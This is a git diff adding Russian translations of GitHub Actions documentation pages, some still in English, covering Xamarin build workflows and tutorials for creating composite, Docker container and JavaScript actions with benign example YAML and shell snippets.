рабочий процесс, который выполняет непрерывную интеграцию (CI) для вашего проекта Xamarin. Создаваемый рабочий процесс позволит увидеть, когда фиксации в запросе на вытягивание вызывают сбои в сборке или тестировании ветви по умолчанию; этот подход поможет убедиться, что ваш код всегда работоспособен. + +Полный список доступных версий пакета SDK для Xamarin в средствах выполнения macOS, размещенных в {% data variables.product.prodname_actions %}, см. в следующей документации: + +* [macOS 10.15](https://github.com/actions/runner-images/blob/main/images/macos/macos-10.15-Readme.md#xamarin-bundles) +* [macOS 11](https://github.com/actions/runner-images/blob/main/images/macos/macos-11-Readme.md#xamarin-bundles) + +{% data reusables.actions.macos-runner-preview %} + +## Предварительные требования + +Рекомендуется иметь базовое представление о Xamarin, пакете SDK для .NET Core, YAML, параметрах конфигурации рабочих процессов, а также о том, как создавать файл рабочего процесса. Дополнительные сведения см. в разделе: + +- [Синтаксис рабочего процесса для {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions) +- [Начало работы с .NET](https://dotnet.microsoft.com/learn) +- [Изучение Xamarin](https://dotnet.microsoft.com/learn/xamarin) + +## Создание приложений Xamarin.iOS + +В приведенном ниже примере показано, как изменить версии пакета SDK для Xamarin по умолчанию и создать приложение Xamarin.iOS. + +```yaml +name: Build Xamarin.iOS app + +on: [push] + +jobs: + build: + + runs-on: macos-latest + + steps: + - uses: {% data reusables.actions.action-checkout %} + - name: Set default Xamarin SDK versions + run: | + $VM_ASSETS/select-xamarin-sdk-v2.sh --mono=6.12 --ios=14.10 + + - name: Set default Xcode 12.3 + run: | + XCODE_ROOT=/Applications/Xcode_12.3.0.app + echo "MD_APPLE_SDK_ROOT=$XCODE_ROOT" >> $GITHUB_ENV + sudo xcode-select -s $XCODE_ROOT + + - name: Setup .NET Core SDK 5.0.x + uses: {% data reusables.actions.action-setup-dotnet %} + with: + dotnet-version: '5.0.x' + + - name: Install dependencies + run: nuget restore + + - name: Build + run: msbuild /p:Configuration=Debug /p:Platform=iPhoneSimulator /t:Rebuild +``` + +## Создание приложения Xamarin.Android + +В приведенном ниже примере показано, как изменить версии пакета SDK для Xamarin по умолчанию и создать приложение Xamarin.Android. + +```yaml +name: Build Xamarin.Android app + +on: [push] + +jobs: + build: + + runs-on: macos-latest + + steps: + - uses: {% data reusables.actions.action-checkout %} + - name: Set default Xamarin SDK versions + run: | + $VM_ASSETS/select-xamarin-sdk-v2.sh --mono=6.10 --android=10.2 + + - name: Setup .NET Core SDK 5.0.x + uses: {% data reusables.actions.action-setup-dotnet %} + with: + dotnet-version: '5.0.x' + + - name: Install dependencies + run: nuget restore + + - name: Build + run: msbuild /t:PackageForAndroid /p:Configuration=Debug +``` + +## Указание версии .NET + +Чтобы использовать предустановленную версию пакета SDK для .NET Core в размещенном в {% data variables.product.prodname_dotcom %} средстве выполнения, используйте действие `setup-dotnet`. Это действие находит определенную версию .NET из кэша инструментов в средстве выполнения и добавляет необходимые двоичные файлы в переменную `PATH`. Эти изменения будут сохранены для остальной части задания. + +Действие `setup-dotnet` представляет собой рекомендуемый способ использования .NET с {% data variables.product.prodname_actions %}, так как он обеспечивает согласованное поведение в разных средствах выполнения и различных версиях .NET. При использовании локального средства выполнения необходимо установить .NET и добавить его в `PATH`. Дополнительные сведения см. в описании действия [`setup-dotnet`](https://github.com/marketplace/actions/setup-net-core-sdk). diff --git a/translations/ru-RU/content/actions/automating-builds-and-tests/index.md b/translations/ru-RU/content/actions/automating-builds-and-tests/index.md new file mode 100644 index 000000000000..7212c1d2f23b --- /dev/null +++ b/translations/ru-RU/content/actions/automating-builds-and-tests/index.md @@ -0,0 +1,39 @@ +--- +title: Автоматизация сборок и тестов +shortTitle: Build and test +intro: 'Вы можете автоматически создавать и тестировать проекты с помощью {% data variables.product.prodname_actions %}.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +redirect_from: + - /actions/building-and-testing-code-with-continuous-integration + - /actions/language-and-framework-guides + - /actions/language-and-framework-guides/github-actions-for-docker + - /actions/language-and-framework-guides/github-actions-for-java + - /actions/language-and-framework-guides/github-actions-for-javascript-and-typescript + - /actions/language-and-framework-guides/github-actions-for-python + - /actions/guides/building-and-testing-nodejs-or-python + - /actions/automating-builds-and-tests/building-and-testing-nodejs-or-python +children: + - /about-continuous-integration + - /building-and-testing-go + - /building-and-testing-java-with-ant + - /building-and-testing-java-with-gradle + - /building-and-testing-java-with-maven + - /building-and-testing-net + - /building-and-testing-nodejs + - /building-and-testing-powershell + - /building-and-testing-python + - /building-and-testing-ruby + - /building-and-testing-swift + - /building-and-testing-xamarin-applications +ms.openlocfilehash: fb95fa1cbd04dfd8484755fd5ee444a8fae93a38 +ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/12/2022 +ms.locfileid: '146682288' +--- + diff --git a/translations/ru-RU/content/actions/creating-actions/about-custom-actions.md b/translations/ru-RU/content/actions/creating-actions/about-custom-actions.md new file mode 100644 index 000000000000..47f249c61344 --- /dev/null +++ b/translations/ru-RU/content/actions/creating-actions/about-custom-actions.md @@ -0,0 +1,174 @@ +--- +title: Сведения о настраиваемых действиях +intro: 'Действия — это отдельные задачи, которые можно совместить, чтобы создавать задачи и настраивать рабочие процессы разработки. Вы можете создавать собственные действия или использовать и настраивать действия, которые предоставляются сообществом {% data variables.product.prodname_dotcom %}.' +redirect_from: + - /articles/about-actions + - /github/automating-your-workflow-with-github-actions/about-actions + - /actions/automating-your-workflow-with-github-actions/about-actions + - /actions/building-actions/about-actions + - /actions/creating-actions/about-actions +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: overview +topics: + - Action development + - Fundamentals +ms.openlocfilehash: ac933a5014750f75373fafa7f8dd52333b79a469 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147154576' +--- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} + +## Сведения о настраиваемых действиях + +Вы можете создавать действия путем написания специального кода, взаимодействующего с репозиторием любым желательным вам способом, включая интеграцию с API-интерфейсами {% data variables.product.prodname_dotcom %} и любым общедоступным сторонним API. Например, действие может публиковать модули NPM, отправлять SMS-оповещения при возникновении неотложных проблем или развертывать готовый код. + +{% ifversion fpt or ghec %} Вы можете написать собственные действия для использования в рабочем процессе или поделиться созданными действиями с сообществом {% data variables.product.prodname_dotcom %}. Чтобы можно было делиться созданными действиями с остальными пользователями, ваш репозиторий должен быть общедоступным. {% ifversion internal-actions %}Чтобы делиться действиями только в пределах предприятия, ваш репозиторий должен быть внутренним.{% endif %} {% endif %} + +Действия можно выполнять непосредственно на компьютере или в контейнере Docker. Вы можете определить входные и выходные данные, а также переменные среды для действия. + +## Типы действий + +Вы можете создать контейнер Docker и действия JavaScript. Для действий требуется файл метаданных, чтобы определить входные и выходные данные, а также основную точку входа для действия. Файл метаданных должен иметь имя `action.yml` либо `action.yaml`. Дополнительные сведения см. в разделе [Синтаксис метаданных для {% data variables.product.prodname_actions %}](/articles/metadata-syntax-for-github-actions). + +| Тип | Операционная система | +| ---- | ------------------- | +| Контейнер Docker | Linux | +| JavaScript | Linux, macOS, Windows | +| Составные действия | Linux, macOS, Windows | + +### Действия контейнера Docker + +Контейнеры Docker упаковывают среду с помощью кода {% data variables.product.prodname_actions %}. Это создает более согласованную и надежную единицу работы, так как потребителю действия не нужно беспокоиться о средствах или зависимостях. + +Контейнер Docker позволяет использовать определенные версии операционной системы, зависимостей, средств и кода. Для действий, которые должны выполняться в определенной конфигурации среды, Docker является оптимальным вариантом, так как позволяет настроить операционную систему и средства. Из-за задержки при создании и извлечении контейнера действия контейнера Docker выполняются медленнее, чем действия JavaScript. + +Действия контейнера Docker могут выполняться только в средствах выполнения с операционной системой Linux. {% data reusables.actions.self-hosted-runner-reqs-docker %} + +### Действия JavaScript + +Действия JavaScript могут выполняться непосредственно на компьютере со средством выполнения тестов и отделять код действия от среды, используемой для выполнения такого кода. Использование действия JavaScript упрощает код действия и позволяет ему выполняться быстрее действия контейнера Docker. + +{% data reusables.actions.pure-javascript %} + +Если вы разрабатываете проект Node.js, набор средств {% data variables.product.prodname_actions %} предоставляет пакеты, которые можно использовать в проекте для ускорения разработки. Дополнительные сведения см. в репозитории [actions/toolkit](https://github.com/actions/toolkit). + +### Составные действия + +_Составное_ действие позволяет сочетать несколько шагов рабочего процесса в одном действии. Например, с помощью этой функции можно объединить несколько команд выполнения в действие, а затем использовать рабочий процесс, который выполняет такие объединенные команды за один шаг с помощью этого действия. Чтобы просмотреть пример, см. раздел [Создание составного действия](/actions/creating-actions/creating-a-composite-action). + +## Выбор расположения для действия + +Если вы разрабатываете действие для других пользователей, рекомендуется сохранить действие в собственном репозитории вместо объединения его с другим кодом приложения. Это позволяет осуществлять управление версиями, отслеживание и выпуск для действия точно так же, как и для любого другого программного обеспечения. + +{% ifversion fpt or ghec %} Хранение действия в собственном репозитории упрощает обнаружение действия в сообществе {% data variables.product.prodname_dotcom %}, ограничивает область базы кода для разработчиков, устраняющих проблемы и расширяющих действие, а также отделяет управление версиями от версий другого кода приложения. +{% endif %} + +{% data reusables.actions.internal-actions-summary %} + +{% ifversion fpt or ghec %}Если вы создаете действие, которое не планируете делать доступным для других пользователей, вы {% else %} вы{% endif %} можете хранить файлы этого действия в любом расположении своего репозитория. Если вы планируете объединить действие, рабочий процесс и код приложения в одном репозитории, рекомендуется хранить действия в каталоге `.github`. Например, `.github/actions/action-a` и `.github/actions/action-b`. + +## Совместимость с {% data variables.product.prodname_ghe_server %} + +Чтобы убедиться, что ваше действие совместимо с {% data variables.product.prodname_ghe_server %}, следует убедиться, что не используются жестко заданные ссылки на URL-адреса API {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %}. Вместо этого следует использовать переменные среды для ссылки на API {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %}: + +- Для REST API используйте переменную среды `GITHUB_API_URL`. +- Для GraphQL используйте переменную среды `GITHUB_GRAPHQL_URL`. + +Дополнительные сведения см. в разделе [Переменные среды по умолчанию](/actions/configuring-and-managing-workflows/using-environment-variables#default-environment-variables). + +## Использование управления выпусками для действий + +В этом разделе объясняется, как использовать управление выпусками, чтобы обеспечить предсказуемое распространение обновлений для действий. + +### Рекомендации по управлению выпусками + +Если вы разрабатываете действие для других пользователей, мы рекомендуем использовать управление выпусками для управления распространением обновлений. Пользователи могут ожидать, что версия исправления действия включает в себя необходимые критические исправления и обновления системы безопасности, сохраняя при этом совместимость с существующими рабочими процессами. Рекомендуется выпускать новый основной номер версии всякий раз, когда изменения затрагивают совместимость. + +Under this release management approach, users should not be referencing an action's master branch, as it's likely to contain the latest code and consequently might be unstable. Вместо этого можно порекомендовать, чтобы пользователи указывали основной номер версии при использовании действия, и перенаправлять их к более конкретной версии только при возникновении проблем. + +Чтобы использовать определенную версию действия, пользователи могут настроить рабочий процесс {% data variables.product.prodname_actions %} для тега, SHA фиксации или ветви, названной по выпуску. + +### Использование тегов для управления выпусками + +Мы рекомендуем использовать теги для управления выпусками действий. С помощью этого подхода пользователи могут легко различать основной и дополнительный номера версии: + +- Создайте и проверьте выпуск в ветви выпуска (например, `release/v1`) перед созданием тега выпуска (например, `v1.0.2`). +- Создайте выпуск с помощью семантического версионирования. Дополнительные сведения см. в разделе [Создание выпусков](/articles/creating-releases). +- Перемещайте тег основной версии (например `v1`, `v2`) чтобы указать ссылку на Git текущего выпуска. Дополнительные сведения см. в разделе [Основы Git — расстановка тегов](https://git-scm.com/book/en/v2/Git-Basics-Tagging). +- Вводите новый тег основной версии (`v2`) для изменений, которые будут нарушить существующие рабочие процессы. Например, изменение входных данных действия будет критическим изменением. +- Основные номера версии могут быть первоначально выпущены с тегом `beta`, чтобы указать их состояние, например, `v2-beta`. Затем, когда все будет готово, тег `-beta` можно удалить. + +В этом примере показано, как пользователь может ссылаться на тег основного выпуска: + +```yaml +steps: + - uses: actions/javascript-action@v1 +``` + +В этом примере показано, как пользователь может ссылаться на тег определенного выпуска исправления: + +```yaml +steps: + - uses: actions/javascript-action@v1.0.1 +``` + +### Использование ветвей для управления выпусками + +Если вы предпочитаете использовать имена ветвей для управления выпусками, в этом примере показано, как ссылаться на именованную ветвь: + +```yaml +steps: + - uses: actions/javascript-action@v1-beta +``` + +### Использование SHA фиксации для управления выпусками + +Каждая фиксация Git получает вычисляемое значение SHA, которое является уникальным и неизменяемым. Пользователи вашего действия могут предпочесть использование значения SHA фиксации, так как такой подход может оказаться более надежным, чем указание тега, который может быть удален или перемещен. Однако это означает, что пользователи не получат дальнейшие обновления для такого действия. Необходимо использовать полное значение SHA фиксации, а не сокращенное. + +```yaml +steps: + - uses: actions/javascript-action@172239021f7ba04fe7327647b213799853a9eb89 +``` + +## Создание файла сведений для действия + +Мы рекомендуем создать файл сведений, чтобы помочь людям понять, как следует использовать ваше действие. В файл `README.md` можно включить следующее: + +- подробное описание того, что делает действие; +- обязательные входные и выходные аргументы; +- необязательные входные и выходные аргументы; +- секреты, используемые действием; +- переменные среды, используемые действием; +- пример использования действия в рабочем процессе. + +## Сравнение {% data variables.product.prodname_actions %} с {% data variables.product.prodname_github_apps %} + +{% data variables.product.prodname_marketplace %} предлагает средства для улучшения рабочего процесса. Понимание различий и преимуществ каждого средства поможет вам выбрать оптимальный инструмент для работы. Дополнительные сведения о создании приложений см. в разделе [Сведения о приложениях](/apps/about-apps/). + +### Преимущества GitHub Actions и GitHub Apps + +Хотя как {% data variables.product.prodname_actions %}, так и {% data variables.product.prodname_github_apps %} позволяют создавать средства автоматизации и рабочих процессов, каждый из них имеет сильные стороны, которые делают их полезными в разных ситуациях. + +{% data variables.product.prodname_github_apps %}: +* выполняется постоянно и быстро реагирует на события; +* отлично подходит для случаев, когда нужны постоянные данные; +* лучше всего работает с запросами API, которые не требуют много времени; +* выполняется на сервере или в вычислительной инфраструктуре, которые вы предоставляете. + +{% data variables.product.prodname_actions %}: +* обеспечивает автоматизацию, которая позволяет осуществлять непрерывную интеграцию и непрерывное развертывание; +* может выполняться непосредственно на компьютерах со средствами выполнения или в контейнерах Docker; +* может включать доступ к клону репозитория, предоставляя средствам развертывания и публикации, форматировщикам кода и программам командной строки доступ к коду; +* не требует развертывания кода или обслуживания приложения; +* имеет простой интерфейс для создания и использования секретов, что позволяет действиям взаимодействовать со сторонними службами без необходимости хранить учетные данные пользователя, применяющего действие. + +## Дополнительные материалы + +- [Средства разработки для {% data variables.product.prodname_actions %}](/articles/development-tools-for-github-actions) diff --git a/translations/ru-RU/content/actions/creating-actions/creating-a-composite-action.md b/translations/ru-RU/content/actions/creating-actions/creating-a-composite-action.md new file mode 100644 index 000000000000..382e81006bda --- /dev/null +++ b/translations/ru-RU/content/actions/creating-actions/creating-a-composite-action.md @@ -0,0 +1,142 @@ +--- +title: Creating a composite action +shortTitle: Create a composite action +intro: 'In this guide, you''ll learn how to build a composite action.' +redirect_from: + - /actions/creating-actions/creating-a-composite-run-steps-action +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: tutorial +topics: + - Action development +--- + +{% data reusables.actions.enterprise-beta %} +{% data reusables.actions.enterprise-github-hosted-runners %} + +## Introduction + +In this guide, you'll learn about the basic components needed to create and use a packaged composite action. To focus this guide on the components needed to package the action, the functionality of the action's code is minimal. The action prints "Hello World" and then "Goodbye", or if you provide a custom name, it prints "Hello [who-to-greet]" and then "Goodbye". The action also maps a random number to the `random-number` output variable, and runs a script named `goodbye.sh`. + +Once you complete this project, you should understand how to build your own composite action and test it in a workflow. + +{% data reusables.actions.context-injection-warning %} + +## Prerequisites + +Before you begin, you'll create a repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}. + +1. Create a new public repository on {% data variables.location.product_location %}. You can choose any repository name, or use the following `hello-world-composite-action` example. You can add these files after your project has been pushed to {% data variables.product.product_name %}. For more information, see "[Create a new repository](/articles/creating-a-new-repository)." + +1. Clone your repository to your computer. For more information, see "[Cloning a repository](/articles/cloning-a-repository)." + +1. From your terminal, change directories into your new repository. + + ```shell + cd hello-world-composite-action + ``` + +2. In the `hello-world-composite-action` repository, create a new file called `goodbye.sh`, and add the following example code: + + ```bash + echo "Goodbye" + ``` + +3. From your terminal, make `goodbye.sh` executable. + + ```shell + chmod +x goodbye.sh + ``` + +1. From your terminal, check in your `goodbye.sh` file. + ```shell + git add goodbye.sh + git commit -m "Add goodbye script" + git push + ``` + +## Creating an action metadata file + +1. In the `hello-world-composite-action` repository, create a new file called `action.yml` and add the following example code. For more information about this syntax, see "[`runs` for a composite actions](/actions/creating-actions/metadata-syntax-for-github-actions#runs-for-composite-actions)". + + {% raw %} + **action.yml** + ```yaml + name: 'Hello World' + description: 'Greet someone' + inputs: + who-to-greet: # id of input + description: 'Who to greet' + required: true + default: 'World' + outputs: + random-number: + description: "Random number" + value: ${{ steps.random-number-generator.outputs.random-number }} + runs: + using: "composite" + steps: + - run: echo Hello ${{ inputs.who-to-greet }}. + shell: bash + - id: random-number-generator{% endraw %} +{%- ifversion actions-save-state-set-output-envs %} + run: echo "random-number=$(echo $RANDOM)" >> $GITHUB_OUTPUT +{%- else %} + run: echo "::set-output name=random-number::$(echo $RANDOM)" +{%- endif %}{% raw %} + shell: bash + - run: echo "${{ github.action_path }}" >> $GITHUB_PATH + shell: bash + - run: goodbye.sh + shell: bash + ``` + {% endraw %} + This file defines the `who-to-greet` input, maps the random generated number to the `random-number` output variable, and runs the `goodbye.sh` script. It also tells the runner how to execute the composite action. + + For more information about managing outputs, see "[`outputs` for a composite action](/actions/creating-actions/metadata-syntax-for-github-actions#outputs-for-composite-actions)". + + For more information about how to use `github.action_path`, see "[`github context`](/actions/reference/context-and-expression-syntax-for-github-actions#github-context)". + +1. From your terminal, check in your `action.yml` file. + + ```shell + git add action.yml + git commit -m "Add action" + git push + ``` + +1. From your terminal, add a tag. This example uses a tag called `v1`. For more information, see "[About actions](/actions/creating-actions/about-actions#using-release-management-for-actions)." + + ```shell + git tag -a -m "Description of this release" v1 + git push --follow-tags + ``` + +## Testing out your action in a workflow + +The following workflow code uses the completed hello world action that you made in "[Creating an action metadata file](/actions/creating-actions/creating-a-composite-action#creating-an-action-metadata-file)". + +Copy the workflow code into a `.github/workflows/main.yml` file in another repository, but replace `actions/hello-world-composite-action@v1` with the repository and tag you created. You can also replace the `who-to-greet` input with your name. + +**.github/workflows/main.yml** +```yaml +on: [push] + +jobs: + hello_world_job: + runs-on: ubuntu-latest + name: A job to say hello + steps: + - uses: {% data reusables.actions.action-checkout %} + - id: foo + uses: actions/hello-world-composite-action@v1 + with: + who-to-greet: 'Mona the Octocat' + - run: echo random-number {% raw %}${{ steps.foo.outputs.random-number }}{% endraw %} + shell: bash +``` + +From your repository, click the **Actions** tab, and select the latest workflow run. The output should include: "Hello Mona the Octocat", the result of the "Goodbye" script, and a random number. diff --git a/translations/ru-RU/content/actions/creating-actions/creating-a-docker-container-action.md b/translations/ru-RU/content/actions/creating-actions/creating-a-docker-container-action.md new file mode 100644 index 000000000000..6ea8fbe52c56 --- /dev/null +++ b/translations/ru-RU/content/actions/creating-actions/creating-a-docker-container-action.md @@ -0,0 +1,252 @@ +--- +title: Creating a Docker container action +shortTitle: Create a Docker container action +intro: 'This guide shows you the minimal steps required to build a Docker container action. ' +redirect_from: + - /articles/creating-a-docker-container-action + - /github/automating-your-workflow-with-github-actions/creating-a-docker-container-action + - /actions/automating-your-workflow-with-github-actions/creating-a-docker-container-action + - /actions/building-actions/creating-a-docker-container-action +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: tutorial +topics: + - Action development + - Docker +--- + +{% data reusables.actions.enterprise-beta %} +{% data reusables.actions.enterprise-github-hosted-runners %} + +## Introduction + +In this guide, you'll learn about the basic components needed to create and use a packaged Docker container action. To focus this guide on the components needed to package the action, the functionality of the action's code is minimal. The action prints "Hello World" in the logs or "Hello [who-to-greet]" if you provide a custom name. + +Once you complete this project, you should understand how to build your own Docker container action and test it in a workflow. + +{% data reusables.actions.self-hosted-runner-reqs-docker %} + +{% data reusables.actions.context-injection-warning %} + +## Prerequisites + +You may find it helpful to have a basic understanding of {% data variables.product.prodname_actions %} environment variables and the Docker container filesystem: + +- "[Using environment variables](/actions/automating-your-workflow-with-github-actions/using-environment-variables)" +{% ifversion ghae %} +- "[Docker container filesystem](/actions/using-github-hosted-runners/about-ae-hosted-runners#docker-container-filesystem)." +{% else %} +- "[About {% data variables.product.prodname_dotcom %}-hosted runners](/actions/using-github-hosted-runners/about-github-hosted-runners#docker-container-filesystem)" +{% endif %} + +Before you begin, you'll need to create a {% data variables.product.prodname_dotcom %} repository. + +1. Create a new repository on {% data variables.location.product_location %}. You can choose any repository name or use "hello-world-docker-action" like this example. For more information, see "[Create a new repository](/articles/creating-a-new-repository)." + +1. Clone your repository to your computer. For more information, see "[Cloning a repository](/articles/cloning-a-repository)." + +1. From your terminal, change directories into your new repository. + + ```shell{:copy} + cd hello-world-docker-action + ``` + +## Creating a Dockerfile + +In your new `hello-world-docker-action` directory, create a new `Dockerfile` file. Make sure that your filename is capitalized correctly (use a capital `D` but not a capital `f`) if you're having issues. For more information, see "[Dockerfile support for {% data variables.product.prodname_actions %}](/actions/creating-actions/dockerfile-support-for-github-actions)." + +**Dockerfile** +```Dockerfile{:copy} +# Container image that runs your code +FROM alpine:3.10 + +# Copies your code file from your action repository to the filesystem path `/` of the container +COPY entrypoint.sh /entrypoint.sh + +# Code file to execute when the docker container starts up (`entrypoint.sh`) +ENTRYPOINT ["/entrypoint.sh"] +``` + +## Creating an action metadata file + +Create a new `action.yml` file in the `hello-world-docker-action` directory you created above. For more information, see "[Metadata syntax for {% data variables.product.prodname_actions %}](/actions/creating-actions/metadata-syntax-for-github-actions)." + +{% raw %} +**action.yml** +```yaml{:copy} +# action.yml +name: 'Hello World' +description: 'Greet someone and record the time' +inputs: + who-to-greet: # id of input + description: 'Who to greet' + required: true + default: 'World' +outputs: + time: # id of output + description: 'The time we greeted you' +runs: + using: 'docker' + image: 'Dockerfile' + args: + - ${{ inputs.who-to-greet }} +``` +{% endraw %} + +This metadata defines one `who-to-greet` input and one `time` output parameter. To pass inputs to the Docker container, you should declare the input using `inputs` and pass the input in the `args` keyword. Everything you include in `args` is passed to the container, but for better discoverability for users of your action, we recommended using inputs. + +{% data variables.product.prodname_dotcom %} will build an image from your `Dockerfile`, and run commands in a new container using this image. + +## Writing the action code + +You can choose any base Docker image and, therefore, any language for your action. The following shell script example uses the `who-to-greet` input variable to print "Hello [who-to-greet]" in the log file. + +Next, the script gets the current time and sets it as an output variable that actions running later in a job can use. In order for {% data variables.product.prodname_dotcom %} to recognize output variables, you must {% ifversion actions-save-state-set-output-envs %}write them to the `$GITHUB_OUTPUT` environment file: `echo "=" >> $GITHUB_OUTPUT`{% else %}use a workflow command in a specific syntax: `echo "::set-output name=::"`{% endif %}. For more information, see "[Workflow commands for {% data variables.product.prodname_actions %}](/actions/reference/workflow-commands-for-github-actions#setting-an-output-parameter)." + +1. Create a new `entrypoint.sh` file in the `hello-world-docker-action` directory. + +1. Add the following code to your `entrypoint.sh` file. + + **entrypoint.sh** + ```shell{:copy} + #!/bin/sh -l + + echo "Hello $1" + time=$(date) +{%- ifversion actions-save-state-set-output-envs %} + echo "time=$time" >> $GITHUB_OUTPUT +{%- else %} + echo "::set-output name=time::$time" +{%- endif %} + ``` + If `entrypoint.sh` executes without any errors, the action's status is set to `success`. You can also explicitly set exit codes in your action's code to provide an action's status. For more information, see "[Setting exit codes for actions](/actions/creating-actions/setting-exit-codes-for-actions)." + + +1. Make your `entrypoint.sh` file executable. Git provides a way to explicitly change the permission mode of a file so that it doesn’t get reset every time there is a clone/fork. + + ```shell{:copy} + $ git update-index --chmod=+x entrypoint.sh + ``` + +1. Optionally, to check the permission mode of the file in the git index, run the following command. + + ```shell{:copy} + $ git ls-files --stage entrypoint.sh + ``` + + An output like `100755 e69de29bb2d1d6434b8b29ae775ad8c2e48c5391 0 entrypoint.sh` means the file has the executable permission. In this example, `755` denotes the executable permission. + +## Creating a README + +To let people know how to use your action, you can create a README file. A README is most helpful when you plan to share your action publicly, but is also a great way to remind you or your team how to use the action. + +In your `hello-world-docker-action` directory, create a `README.md` file that specifies the following information: + +- A detailed description of what the action does. +- Required input and output arguments. +- Optional input and output arguments. +- Secrets the action uses. +- Environment variables the action uses. +- An example of how to use your action in a workflow. + +**README.md** +```markdown{:copy} +# Hello world docker action + +This action prints "Hello World" or "Hello" + the name of a person to greet to the log. + +## Inputs + +## `who-to-greet` + +**Required** The name of the person to greet. Default `"World"`. + +## Outputs + +## `time` + +The time we greeted you. + +## Example usage + +uses: actions/hello-world-docker-action@{% ifversion actions-save-state-set-output-envs %}v2{% else %}v1{% endif %} +with: + who-to-greet: 'Mona the Octocat' +``` + +## Commit, tag, and push your action to {% data variables.product.product_name %} + +From your terminal, commit your `action.yml`, `entrypoint.sh`, `Dockerfile`, and `README.md` files. + +It's best practice to also add a version tag for releases of your action. For more information on versioning your action, see "[About actions](/actions/automating-your-workflow-with-github-actions/about-actions#using-release-management-for-actions)." + +```shell{:copy} +git add action.yml entrypoint.sh Dockerfile README.md +git commit -m "My first action is ready" +git tag -a -m "My first action release" v1 +git push --follow-tags +``` + +## Testing out your action in a workflow + +Now you're ready to test your action out in a workflow. When an action is in a private repository, the action can only be used in workflows in the same repository. Public actions can be used by workflows in any repository. + +{% data reusables.actions.enterprise-marketplace-actions %} + +### Example using a public action + +The following workflow code uses the completed _hello world_ action in the public [`actions/hello-world-docker-action`](https://github.com/actions/hello-world-docker-action) repository. Copy the following workflow example code into a `.github/workflows/main.yml` file, but replace the `actions/hello-world-docker-action` with your repository and action name. You can also replace the `who-to-greet` input with your name. {% ifversion fpt or ghec %}Public actions can be used even if they're not published to {% data variables.product.prodname_marketplace %}. For more information, see "[Publishing an action](/actions/creating-actions/publishing-actions-in-github-marketplace#publishing-an-action)." {% endif %} + +**.github/workflows/main.yml** +```yaml{:copy} +on: [push] + +jobs: + hello_world_job: + runs-on: ubuntu-latest + name: A job to say hello + steps: + - name: Hello world action step + id: hello + uses: actions/hello-world-docker-action{% ifversion actions-save-state-set-output-envs %}v2{% else %}v1{% endif %} + with: + who-to-greet: 'Mona the Octocat' + # Use the output from the `hello` step + - name: Get the output time + run: echo "The time was {% raw %}${{ steps.hello.outputs.time }}"{% endraw %} +``` + +### Example using a private action + +Copy the following example workflow code into a `.github/workflows/main.yml` file in your action's repository. You can also replace the `who-to-greet` input with your name. {% ifversion fpt or ghec %}This private action can't be published to {% data variables.product.prodname_marketplace %}, and can only be used in this repository.{% endif %} + +**.github/workflows/main.yml** +```yaml{:copy} +on: [push] + +jobs: + hello_world_job: + runs-on: ubuntu-latest + name: A job to say hello + steps: + # To use this repository's private action, + # you must check out the repository + - name: Checkout + uses: {% data reusables.actions.action-checkout %} + - name: Hello world action step + uses: ./ # Uses an action in the root directory + id: hello + with: + who-to-greet: 'Mona the Octocat' + # Use the output from the `hello` step + - name: Get the output time + run: echo "The time was {% raw %}${{ steps.hello.outputs.time }}"{% endraw %} +``` + +From your repository, click the **Actions** tab, and select the latest workflow run. Under **Jobs** or in the visualization graph, click **A job to say hello**. You should see "Hello Mona the Octocat" or the name you used for the `who-to-greet` input and the timestamp printed in the log. + +![A screenshot of using your action in a workflow](/assets/images/help/repository/docker-action-workflow-run-updated.png) + diff --git a/translations/ru-RU/content/actions/creating-actions/creating-a-javascript-action.md b/translations/ru-RU/content/actions/creating-actions/creating-a-javascript-action.md new file mode 100644 index 000000000000..5a1ea071a992 --- /dev/null +++ b/translations/ru-RU/content/actions/creating-actions/creating-a-javascript-action.md @@ -0,0 +1,273 @@ +--- +title: Creating a JavaScript action +shortTitle: Create a JavaScript action +intro: 'In this guide, you''ll learn how to build a JavaScript action using the actions toolkit.' +redirect_from: + - /articles/creating-a-javascript-action + - /github/automating-your-workflow-with-github-actions/creating-a-javascript-action + - /actions/automating-your-workflow-with-github-actions/creating-a-javascript-action + - /actions/building-actions/creating-a-javascript-action +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: tutorial +topics: + - Action development + - JavaScript +--- + +{% data reusables.actions.enterprise-beta %} +{% data reusables.actions.enterprise-github-hosted-runners %} + +## Introduction + +In this guide, you'll learn about the basic components needed to create and use a packaged JavaScript action. To focus this guide on the components needed to package the action, the functionality of the action's code is minimal. The action prints "Hello World" in the logs or "Hello [who-to-greet]" if you provide a custom name. + +This guide uses the {% data variables.product.prodname_actions %} Toolkit Node.js module to speed up development. For more information, see the [actions/toolkit](https://github.com/actions/toolkit) repository. + +Once you complete this project, you should understand how to build your own JavaScript action and test it in a workflow. + +{% data reusables.actions.pure-javascript %} + +{% data reusables.actions.context-injection-warning %} + +## Prerequisites + +Before you begin, you'll need to download Node.js and create a public {% data variables.product.prodname_dotcom %} repository. + +1. Download and install Node.js {% ifversion fpt or ghes > 3.3 or ghae > 3.3 or ghec %}16.x{% else %}12.x{% endif %}, which includes npm. + + {% ifversion fpt or ghes > 3.3 or ghae > 3.3 or ghec %}https://nodejs.org/en/download/{% else %}https://nodejs.org/en/download/releases/{% endif %} + +1. Create a new public repository on {% data variables.location.product_location %} and call it "hello-world-javascript-action". For more information, see "[Create a new repository](/articles/creating-a-new-repository)." + +1. Clone your repository to your computer. For more information, see "[Cloning a repository](/articles/cloning-a-repository)." + 